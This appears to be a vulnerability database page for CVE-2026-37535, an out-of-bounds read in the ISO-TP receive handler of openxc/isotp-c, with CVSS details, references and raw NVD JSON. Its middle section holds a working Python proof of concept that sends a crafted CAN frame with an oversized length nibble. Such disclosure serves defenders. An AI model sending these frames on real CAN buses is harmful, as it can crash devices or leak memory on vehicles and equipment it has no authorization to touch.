CVE-2026-37535

Description

openxc/isotp-c thru commit 5a5d19245f65189202719321facd49ce6f5d46ac (2021-08-09) contains an out-of-bounds read in the ISO-TP Single Frame receive handler, where the 4-bit payload length nibble is used directly as the memcpy size without validating it against the actual CAN data length. A malicious CAN frame with an oversized length nibble can cause memory reads beyond the buffer, allowing attackers to cause a denial of service, or gain sensitive information.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

No configuration data available.

openxc/isotp-c <= commit 5a5d19245f65189202719321facd49ce6f5d46ac

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import can

# PoC for CVE-2026-37535: ISO-TP Single Frame Out-of-Bounds Read
# This script sends a malicious CAN frame with an oversized length nibble.

# Configure the CAN interface (adjust 'vcan0' or interface type as needed)
bus = can.interface.Bus(channel='vcan0', bustype='socketcan')

def malicious_isotp_frame():
    # Arbitration ID
    arb_id = 0x123
    
    # ISO-TP Single Frame structure:
    # Byte 0: [Type (0 high nibble) | Length (low nibble)]
    # Setting length nibble to 0xF (15 bytes) but sending less data.
    # This triggers the out-of-bounds read in the vulnerable memcpy.
    data = [0x0F, 0x41, 0x42] 
    
    msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=False)
    
    try:
        bus.send(msg)
        print(f"Malicious frame sent to ID {hex(arb_id)}: {data}")
    except Exception as e:
        print(f"Error sending frame: {e}")

if __name__ == "__main__":
    malicious_isotp_frame()
    bus.shutdown()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37535
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37535
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37535/
[4] VulDB https://vuldb.com/cve/CVE-2026-37535
[5] https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381
[6] https://github.com/openxc/isotp-c
[7] https://github.com/openxc/isotp-c/blob/master/src/isotp/receive.c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37535", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:23.210", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "openxc/isotp-c thru commit 5a5d19245f65189202719321facd49ce6f5d46ac (2021-08-09) contains an out-of-bounds read in the ISO-TP Single Frame receive handler, where the 4-bit payload length nibble is used directly as the memcpy size without validating it against the actual CAN data length. A malicious CAN frame with an oversized length nibble can cause memory reads beyond the buffer, allowing attackers to cause a denial of service, or gain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/openxc/isotp-c", "source": "[email protected]"}, {"url": "https://github.com/openxc/isotp-c/blob/master/src/isotp/receive.c", "source": "[email protected]"}]}}